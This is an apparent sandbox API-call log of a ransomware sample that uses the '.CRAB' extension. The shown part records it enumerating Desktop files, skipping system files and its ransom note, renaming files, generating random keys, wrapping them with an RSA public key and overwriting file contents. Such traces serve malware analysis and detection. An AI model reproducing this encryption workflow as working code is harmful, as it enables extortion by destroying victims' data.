	[0124.729] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6ed98) returned 1
	[0124.730] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0xd805a0) returned 1
	[0124.730] CryptGetKeyParam (in: hKey=0xd805a0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.730] CryptEncrypt (in: hKey=0xd805a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0124.731] GetLastError () returned 0x0
	[0124.731] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0124.731] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\3mHfkmGglaKNYaBK9.mp4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\3mhfkmgglaknyabk9.mp4.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0124.731] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.731] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.732] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x7426, lpOverlapped=0x0) returned 1
	[0124.744] VirtualAlloc (lpAddress=0x0, dwSize=0x7430, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.745] VirtualAlloc (lpAddress=0x0, dwSize=0x7430, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0124.749] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.749] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff8bda, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.749] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x7430, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0x7430, lpOverlapped=0x0) returned 1
	[0124.749] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.750] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.754] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.754] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.754] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0124.754] CloseHandle (hObject=0x3e8) returned 1
	[0124.755] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.755] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.756] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.756] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.756] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.756] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.756] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0124.756] lstrcmpW (lpString1="4_L-92figvYhCIBhrEs.doc", lpString2=".") returned 1
	[0124.756] lstrcmpW (lpString1="4_L-92figvYhCIBhrEs.doc", lpString2="..") returned 1
	[0124.756] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="4_L-92figvYhCIBhrEs.doc" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4_L-92figvYhCIBhrEs.doc") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4_L-92figvYhCIBhrEs.doc"
	[0124.757] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.757] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4_L-92figvYhCIBhrEs.doc") returned 53
	[0124.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4_L-92figvYhCIBhrEs.doc") returned 53
	[0124.757] lstrlenW (lpString=".doc") returned 4
	[0124.757] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.757] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".doc ") returned 5
	[0124.757] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4_L-92figvYhCIBhrEs.doc") returned 53
	[0124.758] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4_L-92figvYhCIBhrEs.doc") returned 53
	[0124.758] lstrcmpiW (lpString1="4_L-92figvYhCIBhrEs.doc", lpString2="desktop.ini") returned -1
	[0124.758] lstrcmpiW (lpString1="4_L-92figvYhCIBhrEs.doc", lpString2="autorun.inf") returned -1
	[0124.758] lstrcmpiW (lpString1="4_L-92figvYhCIBhrEs.doc", lpString2="ntuser.dat") returned -1
	[0124.758] lstrcmpiW (lpString1="4_L-92figvYhCIBhrEs.doc", lpString2="iconcache.db") returned -1
	[0124.758] lstrcmpiW (lpString1="4_L-92figvYhCIBhrEs.doc", lpString2="bootsect.bak") returned -1
	[0124.758] lstrcmpiW (lpString1="4_L-92figvYhCIBhrEs.doc", lpString2="boot.ini") returned -1
	[0124.758] lstrcmpiW (lpString1="4_L-92figvYhCIBhrEs.doc", lpString2="ntuser.dat.log") returned -1
	[0124.758] lstrcmpiW (lpString1="4_L-92figvYhCIBhrEs.doc", lpString2="thumbs.db") returned -1
	[0124.758] lstrcmpiW (lpString1="4_L-92figvYhCIBhrEs.doc", lpString2="CRAB-DECRYPT.txt") returned -1
	[0124.758] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.758] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4_L-92figvYhCIBhrEs.doc.CRAB") returned 58
	[0124.758] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4_L-92figvYhCIBhrEs.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\4_l-92figvyhcibhres.doc")) returned 0x20
	[0124.758] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4_L-92figvYhCIBhrEs.doc", dwFileAttributes=0x20) returned 1
	[0124.759] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4_L-92figvYhCIBhrEs.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\4_l-92figvyhcibhres.doc"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4_L-92figvYhCIBhrEs.doc.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\4_l-92figvyhcibhres.doc.crab")) returned 1
	[0124.760] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.760] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4_L-92figvYhCIBhrEs.doc.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4_L-92figvYhCIBhrEs.doc.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4_L-92figvYhCIBhrEs.doc.CRAB"
	[0124.760] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4_L-92figvYhCIBhrEs.doc.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4_L-92figvYhCIBhrEs.doc.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4_L-92figvYhCIBhrEs.doc.CRAB.CRAB"
	[0124.760] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0124.761] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.761] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.761] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.761] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0124.761] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.761] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.761] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0124.762] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.762] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.762] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.762] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0124.762] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.762] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.763] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.763] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.763] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0124.764] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3166660) returned 1
	[0124.764] CryptGetKeyParam (in: hKey=0x3166660, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.764] CryptEncrypt (in: hKey=0x3166660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0124.764] GetLastError () returned 0x0
	[0124.764] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0124.764] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6ed98) returned 1
	[0124.764] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158200) returned 1
	[0124.765] CryptGetKeyParam (in: hKey=0x3158200, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.765] CryptEncrypt (in: hKey=0x3158200, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0124.765] GetLastError () returned 0x0
	[0124.765] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0124.765] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4_L-92figvYhCIBhrEs.doc.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\4_l-92figvyhcibhres.doc.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0124.765] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.766] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.766] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0xaedf, lpOverlapped=0x0) returned 1
	[0124.778] VirtualAlloc (lpAddress=0x0, dwSize=0xaee0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.779] VirtualAlloc (lpAddress=0x0, dwSize=0xaee0, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0124.780] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.780] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff5121, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.780] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0xaee0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0xaee0, lpOverlapped=0x0) returned 1
	[0124.781] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.781] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.785] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.785] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.785] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0124.785] CloseHandle (hObject=0x3e8) returned 1
	[0124.785] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.785] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.785] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.786] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.786] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.786] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.786] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0124.786] lstrcmpW (lpString1="6YKIhANz79ThqLL.flv", lpString2=".") returned 1
	[0124.786] lstrcmpW (lpString1="6YKIhANz79ThqLL.flv", lpString2="..") returned 1
	[0124.786] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="6YKIhANz79ThqLL.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\6YKIhANz79ThqLL.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\6YKIhANz79ThqLL.flv"
	[0124.786] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.787] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\6YKIhANz79ThqLL.flv") returned 49
	[0124.787] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\6YKIhANz79ThqLL.flv") returned 49
	[0124.787] lstrlenW (lpString=".flv") returned 4
	[0124.787] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.787] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".flv ") returned 5
	[0124.787] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.787] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\6YKIhANz79ThqLL.flv") returned 49
	[0124.787] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\6YKIhANz79ThqLL.flv") returned 49
	[0124.787] lstrcmpiW (lpString1="6YKIhANz79ThqLL.flv", lpString2="desktop.ini") returned -1
	[0124.787] lstrcmpiW (lpString1="6YKIhANz79ThqLL.flv", lpString2="autorun.inf") returned -1
	[0124.787] lstrcmpiW (lpString1="6YKIhANz79ThqLL.flv", lpString2="ntuser.dat") returned -1
	[0124.787] lstrcmpiW (lpString1="6YKIhANz79ThqLL.flv", lpString2="iconcache.db") returned -1
	[0124.787] lstrcmpiW (lpString1="6YKIhANz79ThqLL.flv", lpString2="bootsect.bak") returned -1
	[0124.787] lstrcmpiW (lpString1="6YKIhANz79ThqLL.flv", lpString2="boot.ini") returned -1
	[0124.788] lstrcmpiW (lpString1="6YKIhANz79ThqLL.flv", lpString2="ntuser.dat.log") returned -1
	[0124.788] lstrcmpiW (lpString1="6YKIhANz79ThqLL.flv", lpString2="thumbs.db") returned -1
	[0124.788] lstrcmpiW (lpString1="6YKIhANz79ThqLL.flv", lpString2="CRAB-DECRYPT.txt") returned -1
	[0124.788] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.788] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\6YKIhANz79ThqLL.flv.CRAB") returned 54
	[0124.788] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\6YKIhANz79ThqLL.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\6ykihanz79thqll.flv")) returned 0x20
	[0124.788] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\6YKIhANz79ThqLL.flv", dwFileAttributes=0x20) returned 1
	[0124.789] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\6YKIhANz79ThqLL.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\6ykihanz79thqll.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\6YKIhANz79ThqLL.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\6ykihanz79thqll.flv.crab")) returned 1
	[0124.789] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.789] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\6YKIhANz79ThqLL.flv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\6YKIhANz79ThqLL.flv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\6YKIhANz79ThqLL.flv.CRAB"
	[0124.790] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\6YKIhANz79ThqLL.flv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\6YKIhANz79ThqLL.flv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\6YKIhANz79ThqLL.flv.CRAB.CRAB"
	[0124.790] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e9e0) returned 1
	[0124.790] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.790] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.791] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.791] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0124.791] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0124.791] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.791] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6eb78) returned 1
	[0124.791] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.792] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.792] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.792] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0124.792] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0124.792] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.792] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.792] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.793] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0124.793] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158080) returned 1
	[0124.793] CryptGetKeyParam (in: hKey=0x3158080, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.793] CryptEncrypt (in: hKey=0x3158080, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0124.794] GetLastError () returned 0x0
	[0124.794] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.794] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0124.794] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158600) returned 1
	[0124.794] CryptGetKeyParam (in: hKey=0x3158600, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.794] CryptEncrypt (in: hKey=0x3158600, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0124.795] GetLastError () returned 0x0
	[0124.795] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0124.795] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\6YKIhANz79ThqLL.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\6ykihanz79thqll.flv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0124.795] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.795] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.796] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x347a, lpOverlapped=0x0) returned 1
	[0124.815] VirtualAlloc (lpAddress=0x0, dwSize=0x3480, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.815] VirtualAlloc (lpAddress=0x0, dwSize=0x3480, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0124.816] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.816] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffffcb86, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.816] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0x3480, lpOverlapped=0x0) returned 1
	[0124.816] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.817] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.821] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.821] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.821] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
